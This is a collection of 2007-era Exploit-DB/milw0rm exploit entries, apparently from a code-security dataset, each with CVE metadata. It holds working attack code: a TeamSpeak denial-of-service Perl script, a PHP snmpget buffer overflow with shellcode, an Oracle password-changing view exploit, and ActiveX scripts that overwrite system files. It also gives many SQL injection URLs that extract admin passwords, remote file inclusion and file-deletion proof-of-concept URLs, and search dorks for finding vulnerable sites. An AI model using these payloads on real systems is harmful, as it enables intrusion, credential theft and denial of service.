QLWD/code_shield huggingface dataset:
标题: TeamSpeak 2.0 (Windows Release) - Remote Denial of Service EDB-ID: 4205 CVE: 2007-3956 类型: DOS 平台: WINDOWS 发布日期: 2007-07-20 漏洞利用脚本: #!/usr/bin/perl

# TeamSpeak 2.0 (Windows Release) Remote D0S Exploit by Yag Kohha (skyhole [at] gmail.com)
# Vendor URL: http://www.goteamspeak.com/
# TeamSpeak WebServer has no tcp session expire and no checks for incoming values length.
# TODO: 
# Edit $target value 
# Run script
# CPU 100%, Memory up for 1.2 Gb per one attack session.
# Greetz: str0ke & milw0rm proj

use IO::Socket;

$target = 'xxx.xxx.xxx.xxx';
$port_tcp=14534;

$buffer_ascii= 'A' x 0xc00000;
$buffer_dig= '659090';
$req = "username\=$buffer_ascii\&password\=$buffer_ascii\&serverport\=$buffer_dig\&submit\=Login";
$uagent = 'Mozilla 5.0';
my $res;
my $tmp;

    print "\nStarting D0S\n\n";
    my $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$target", PeerPort=>"$port_tcp") or die "\n Could not connect to host\n\n";

    print $sock "POST /login.tscmd HTTP/1.1\r\n";
    print $sock "Host: ".$target."\r\n";
    print $sock "User-Agent: ".$uagent."\r\n";
    print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
    print $sock "Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    print $sock "Accept-Encoding: gzip,deflate\r\n";
    print $sock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
    print $sock "Connection: close\r\n";
    print $sock "Referer: http://".$target."/slogin.html\r\n";
    print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
    print $sock "Content-Length: ".length($req)."\r\n\r\n";
    print $sock $req;
    print $sock "\n";
    
   while ( $res = <$sock> ) {
 $tmp.= $res; 
    }
    print $tmp;
    close($sock);

# milw0rm.com [2007-07-20] URL: https://www.exploit-db.com/exploits/4205
标题: Md-Pro 1.0.8x - Topics topicid SQL Injection EDB-ID: 4199 CVE: 2007-3938 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-18 漏洞利用脚本: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Site:      http://www.maxdev.com
Download:  http://www.maxdev.com/mod-Areafiles-display-lid-510-cid-1.phtml
Dork:      "Powered by Md-Pro"
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Exploit :!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!   

http://www.site.com/[mdpro_path]/index.php?module=Topics&func=view&topicid=-1 UNION ALL SELECT null,null,concat(pn_uname,0x3a,pn_pass),null,null,null,null from md_users where pn_uid=2/*

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Default prefix is "md_" change it if needed

# milw0rm.com [2007-07-18] URL: https://www.exploit-db.com/exploits/4199
标题: RGameScript Pro - 'page.php?id' Remote File Inclusion EDB-ID: 4210 CVE: 2007-3980 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-21 漏洞利用脚本: #*/\*##*/\*##*/\*##*/\*##*/\*#
Web Application: RCMS-Pro
#*\/*##*\/*##*\/*##*\/*##*\/*#
Info: 
/////////////////////////////////////////////////////
Vulnerability: Remote File Inclusion
Vendor: http://www.rcms-pro.com/
Dork: "Powered by RGameScript"
Found By: Warpboy
E-Mail/MSNM: Warpboy1@yahoo.com
Website: http://private-node.net
Shouts: TimQ, Gammarayz, Paradox, z6, PunkerX and everyone else at pnode.
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
::PoC::

http://www.site.com/page.php?id=[shell]

******************************************
##############################
http://private-node.net
##############################
******************************************

# milw0rm.com [2007-07-21] URL: https://www.exploit-db.com/exploits/4210
标题: Blog System 1.x - 'index.php?news_id' SQL Injection EDB-ID: 4206 CVE: 2007-3979 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-20 漏洞利用脚本: --==+================================================================================+==--
--==+              BlogSite Professional SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: allintext:"Browse Blogs by Category"


DESCRIPTION:
pull out admin/members login credentials


EXPLOITS:
http://www.server.com/index.php?page_id=-1&news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6/**/FROM/**/websiteadmin_admin_users/*


NOTE/TIP:
admin login is the normal login on index.php


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net/G0t-Root.org !


--==+================================================================================+==--
--==+              BlogSite Professional SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-20] URL: https://www.exploit-db.com/exploits/4206
标题: Data Dynamics ActiveReport - ActiveX 'actrpt2.dll 2.5' Insecure Method EDB-ID: 4208 CVE: 2007-3983 2007-3982 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-21 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------
 <b>Data Dynamics ActiveReport ActiveX Control (actrpt2.dll <= 2.5) "SaveLayout()" Inscure Method</b>
 url: http://www.datadynamics.com/default.aspx

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: False
 KillBitSet: False</b>
-----------------------------------------------------------------------------------------------

<object classid='clsid:9EB8768B-CDFA-44DF-8F3E-857A8405E1DB' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
    test.SaveLayout "c:\windows\system_.ini", 1
    MyMsg = MsgBox("Ok, now check your system.ini file")
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-07-21] URL: https://www.exploit-db.com/exploits/4208
标题: Joomla! Component Pony Gallery 1.5 - SQL Injection EDB-ID: 4201 CVE: 2007-4046 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-19 漏洞利用脚本: *******************************************************************************
# Title   :  Joomla Component Pony Gallery <= 1.5 Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://joomlander.net
# $$      :  Free
# Dork    :  inurl:"index.php?option=com_ponygallery"
# DorkEx  :  http://www.google.com.tr/search?hl=tr&q=inurl%3A%22index.php%3Foption%3Dcom_ponygallery%22&btnG=Ara&meta=lr%3D

# Info    :  \*Herhangi bir resim kategorisine girin,onunda alt kategorisi varsa girin
               her sitede uygulanamÃ½yor acik.Exploit yazmasÃ½ zor geldi ne yln sÃ¶liyim
               gecenin 2sinde:  )

# Msg     :  Kandiliniz Mubarek Olsun.....

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//index.php?option=com_ponygallery&Itemid=x&func=viewcategory&catid=[SQL Inject]

Example: 

//index.php?option=com_ponygallery&Itemid=x&func=viewcategory&catid=%20union%20select%201,2,3,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),5,0,0%20from%20jos_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-07-19] URL: https://www.exploit-db.com/exploits/4201
标题: PHP 5.2.3 - 'snmpget()' Object id Local Buffer Overflow EDB-ID: 4204 CVE: 2007-1413 类型: LOCAL 平台: WINDOWS 发布日期: 2007-07-20 漏洞利用脚本: <?php
//PHP <= 5.2.3 snmpget() object id local Buffer Overflow eip overwrite exploit
//bug discovered by rgod
//Original advisory: http://retrogod.altervista.org/php_446_snmpget_local_bof.html

//[quote="rgod"]more than 256 chars result in simple eip overwrite[/quote]
//right! so here it is an exploit using eip overwrite

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched

if (!extension_loaded("snmp")) die("snmp extension required!");

$buffer = str_repeat("A",256);

$EIP="\xFF\xBE\x3F\x7E"; //call esp from user32.dll

$nop=str_repeat("\x90",8);

$shellcode= //execute calc.exe
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x54\x4e\x53\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x48".
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x43\x4b\x38".
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x35\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54".
"\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x38".
"\x41\x30\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x36\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x48\x42\x57\x4e\x31\x4d\x4a".
"\x4b\x38\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x35\x41\x33".
"\x48\x4f\x42\x46\x48\x35\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x55\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x35\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x36".
"\x4e\x46\x43\x46\x50\x52\x45\x36\x4a\x37\x45\x36\x42\x30\x5a";

$egg = $buffer.$EIP.$nop.$shellcode.$nop;

snmpget (1, 1, $egg);
?>

# milw0rm.com [2007-07-20] URL: https://www.exploit-db.com/exploits/4204
标题: A-shop 0.70 - Remote File Deletion EDB-ID: 4198 CVE: 2007-3937 2007-3936 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-18 漏洞利用脚本: A-shop <=0.70 Multiple vulnerabilities

Found Bug: Timq
site:http://private-node.net
email:timq@hushmail.com


Vendor:http://www.rammdev.com/ashop/

PoC:
http://site.com/admin/filebrowser.asp?folder=products&delfiles=[del any file on server]

It is possible to delete not only the files in the folders listed,
but also ouside its directory.
Also possible sql injections in other areas.

# milw0rm.com [2007-07-18] URL: https://www.exploit-db.com/exploits/4198
标题: Oracle 9i/10g - Evil Views Change Passwords EDB-ID: 4203 CVE: 2007-3855 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-07-19 漏洞利用脚本: --
-- bunkerview.sql 
--
-- Oracle 9i/10g - evil view exploit (CVE-2007-3855)
-- Uses evil view to perform unauthorized password update
--
-- by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
-- 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
--
-- This code should be used only for LEGAL purpose!
-- ...and remember: use Oracle at your own risk ;-)
--
-- Thanks to security researchers all around the world...
-- Smarties rules (they know what I mean)! ;-D
--
--
-- SQL> select * from user_sys_privs;
-- 
-- USERNAME                       PRIVILEGE                                ADM
-- ------------------------------ ---------------------------------------- ---
-- TEST                           CREATE VIEW                              NO
-- TEST                           CREATE SESSION                           NO
--
-- SQL> select password from sys.user$ where name='TEST';
--
-- PASSWORD
-- ------------------------------
-- AAAAAAAAAAAAAAAA
-- 
-- SQL> @bunkerview
-- [+] bunkerview.sql - Evil view exploit for Oracle 9i/10g (CVE-2007-3855)
-- [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
-- [+] 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
-- 
-- Target username (default TEST):
-- 
-- View created.
-- 
-- old   1:   update bunkerview set password='6D9FEAAB597EF01B' where name='&the_user'
-- new   1:   update bunkerview set password='6D9FEAAB597EF01B' where name='TEST'
-- 
-- 1 row updated.
-- 
-- 
-- View dropped.
-- 
-- 
-- Commit complete.
-- 
-- SQL> select password from sys.user$ where name='TEST';
-- 
-- PASSWORD
-- ------------------------------
-- 6D9FEAAB597EF01B
--
set serveroutput on;
prompt [+] bunkerview.sql - Evil view exploit for Oracle 9i/10g (CVE-2007-3855)
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
create or replace view bunkerview as 
  select x.name,x.password from sys.user$ x left outer join sys.user$ y on x.name=y.name;
  update bunkerview set password='6D9FEAAB597EF01B' where name='&the_user';
  drop view bunkerview;
commit;

-- milw0rm.com [2007-07-19] URL: https://www.exploit-db.com/exploits/4203
标题: BBS E-Market - 'postscript.php?p_mode' Remote File Inclusion EDB-ID: 4195 CVE: 2007-3934 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-18 漏洞利用脚本: dork:inurl:bemarket
xpl:/bemarket/postscript/postscript.php?p_mode=
 
original post:http://darkcode.ath.cx/f0rum/ind3x.php?action=vthread&forum=12&topic=80
 
Greetz:d3hydr8,whoami
 
mozi2weed@yahoo.com
magenkyo.sharingan@yahoo.com

# milw0rm.com [2007-07-18] URL: https://www.exploit-db.com/exploits/4195
标题: QuickEStore 8.2 - 'insertorder.cfm' SQL Injection EDB-ID: 4193 CVE: 2007-3933 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-18 漏洞利用脚本: author:meoconx[at]vnbrain.net
web application:QuickEStore
Main Page:www.quickestore.com
bug:

sql injection at insertorder.cfm?CFID=123&CFTOKEN=1'

exploit:

http://www.xxx.com/insertorder.cfm?CFID=123&CFTOKEN=1[sql query]

get admin password:
http://www.xxx.com/insertorder.cfm?CFID=123&CFTOKEN=1 union select 1,2,3,password,5,6,7,8,9,10,11,12 from params"having 1=1

link admin:http://www.xxx.com/admin/

demo(main site :D :D):
http://www.quickestore.com/ppec/insertorder.cfm?CFID=xx&CFTOKEN=1%20union%20select%201,2,3,4,password,6,7,8,9,10,11,12,13,14,15%20from%20params%22having%201=1

# milw0rm.com [2007-07-18] URL: https://www.exploit-db.com/exploits/4193
标题: phpBB Module SupaNav 1.0.0 - 'link_main.php' Remote File Inclusion EDB-ID: 4197 CVE: 2007-3935 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-18 漏洞利用脚本: phpBB Module SupaNav 1.0.0 (link_main.php) Remote File Inclusion Vulnerability


Vendor: http://www.phpbbhacks.com/download/8003

Download: http://www.phpbbhacks.com/load.php?id=8003

Founder: bd0rk

Website 1: www.soh-crew.it.tt

Website 2: www.school-of-hack.net

Contact: bd0rk[at]hackermail.com

ICQ: 249-613-511

Greetings: str0ke, TheJT, rgod, Kacper, GolD_M

Vulnerable Code in link_main.php:

--------------------------------------------------------------------------------------

require($phpbb_root_path.'language/lang_'.$userdata['user_lang'].'/lang_nav.'.$phpEx);

--------------------------------------------------------------------------------------

$phpbb_root_path is not declared before require

[+]Exploit: http://[target]/[directory]/link_main.php?phpbb_root_path=[ShellCode]


####The 18 years old german Hacker bd0rk####

# milw0rm.com [2007-07-18] URL: https://www.exploit-db.com/exploits/4197
标题: Prozilla Directory Script - 'Directory.php?cat_id' SQL Injection EDB-ID: 4185 CVE: 2007-3809 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-14 漏洞利用脚本: --==+================================================================================+==--
--==+        Prozilla Directory Script SQL Injection Vulnerbility               +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.prozilla.com/
DORK: allinurl:directory.php?ax=list


DESCRIPTION: 
SQL injection in cat_id of directory.php among others. Able to retrieve email/passwords
of users who posted URLs in the directory.


EXPLOITS:
http://www.site.com/directory.php?ax=list&sub=1&cat_id=-1/**/UNION/**/SELECT/**/1,2,3,4,concat(0x2D2D3E,email,0x3a,password),6,7,8,9,10,0x223E3C212D2D,12,13/**/from/**/links/*


NOTE/TIP: 
Doesnt look like admin info is stored in the database, must be config.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+        Prozilla Directory Script SQL Injection Vulnerbility               +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-14] URL: https://www.exploit-db.com/exploits/4185
标题: Realtor 747 - 'index.php?categoryId' SQL Injection EDB-ID: 4184 CVE: 2007-3810 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-14 漏洞利用脚本: --==+================================================================================+==--
--==+                  Realtor 747 SQL Injection Vulnerbility                     +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.it747.com/realtor747
DORK: inurl:"index.php?pageid=" Property Listings
DORK 2: inurl:"realtor747"


DESCRIPTION:
pullout admin password from database


EXPLOITS:
http://server.com/realtor747/index.php?pageid=2&categoryid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,config_value,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/**/FROM/**/AD747_CONFIG%20where/**/config_key=0x70617373776F7264/*


NOTE/TIP:
admin login is at /admin/
password is encrypted in DES, use JTR


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                  Realtor 747 SQL Injection Vulnerbility                     +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-14] URL: https://www.exploit-db.com/exploits/4184
标题: Traffic Stats - 'referralUrl.php?offset' SQL Injection EDB-ID: 4187 CVE: 2007-3840 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-16 漏洞利用脚本: --==+================================================================================+==--
--==+                  Traffic Stats SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: allintext:" If you would like to contact us, our email address is" traffic


DESCRIPTION:
pull out admin email/passwords


EXPLOITS:
http://server.com/Script_Dir/referralUrl.php?offset=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(email,0x3a,password)/**/FROM/**/StatAdmin/*


NOTE/TIP:
first you must register a account then click ad site, and add random sites, then paste injection
admin login is at /admin/ only password is needed :D


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net/G0t-Root.org !


--==+================================================================================+==--
--==+                  Traffic Stats SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-16] URL: https://www.exploit-db.com/exploits/4187
标题: Data Dynamics ActiveBar - ActiveX 'actbar3.ocx 3.1' Insecure Methods EDB-ID: 4190 CVE: 2007-3883 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-17 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------
 <b>Data Dynamics ActiveBar ActiveX Control (actbar3.ocx <= 3.1) Multiple Inscure Methods</b>
 url: http://www.datadynamics.com/default.aspx

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: False
 KillBitSet: False</b>
---------------------------------------------------------------------------------------

<object classid='clsid:5407153D-022F-4CD2-8BFF-465569BC5DB8' id='test'></object>

<select style="width: 404px" name="Pucca">
  <option value = "Save">Save</option>
  <option value = "SaveLayoutChanges">SaveLayoutChanges</option>
  <option value = "SaveMenuUsageData">SaveMenuUsageData</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "Save" then
    test.Save "", "c:\carlo1.txt", 1
    MyMsg = MsgBox("Ok, now check your system.ini file")
   elseif Pucca.value = "SaveLayoutChanges" then
    test.SaveLayoutChanges "c:\carlo2.txt", 1
    MyMsg = MsgBox("Ok, now check your system.ini file")
   elseif Pucca.value = "SaveMenuUsageData" then
    test.SaveMenuUsageData "c:\carlo3.txt", 1
    MyMsg = MsgBox("Ok, now check your system.ini file")
   end if

 End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-07-17] URL: https://www.exploit-db.com/exploits/4190
标题: Expert Advisior - 'index.php?id' SQL Injection EDB-ID: 4189 CVE: 2007-3882 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-17 漏洞利用脚本: --==+================================================================================+==--
--==+                Expert Advisior SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--


AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: intitle:"Answer Builder"  Ask a question


DESCRIPTION:
pull out admin user/pass from the database


EXPLOITS:
http://server.com/Script_Path/index.php?cmd=4&id=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,@@version,concat(0x3c623e,username,0x3a,password,0x3c623e),9,10,11,12,13,14,15/**/FROM/**/admin/*


NOTE/TIP:
admin login is at /admin/ you can backup DB there.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net/G0t-Root.org !


--==+================================================================================+==--
--==+                Expert Advisior SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-17] URL: https://www.exploit-db.com/exploits/4189
标题: Pictures Rating - 'index.php?msgid' SQL Injection EDB-ID: 4191 CVE: 2007-3881 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-18 漏洞利用脚本: --==+================================================================================+==--
--==+                  Pictures Rating SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: allintext:"Latest Pictures" Name   Gender   Profile   Rating


DESCRIPTION:
pull out admin/members info


EXPLOITS:
http://server.com/Script_Dir/index.php?cmd=8&msgid=52/**/UNION/**/ALL/**/SELECt/**/1,2,@@version,concat(0x3c623e,username,0x3a,password,0x3c623e),5,6,7/**/FROM/**/admin/*
http://server.com/Script_Dir/index.php?cmd=8&msgid=52/**/UNION/**/ALL/**/SELECt/**/1,2,@@version,concat(0x3c623e,username,0x3a,email,0x3a,password,0x3c623e),5,6,7/**/FROM/**/members/*


NOTE/TIP:
you must register first
admin login is at /admin/ you can backup the DB there.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net/G0t-Root.org !


--==+================================================================================+==--
--==+                  Pictures Rating SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-18] URL: https://www.exploit-db.com/exploits/4191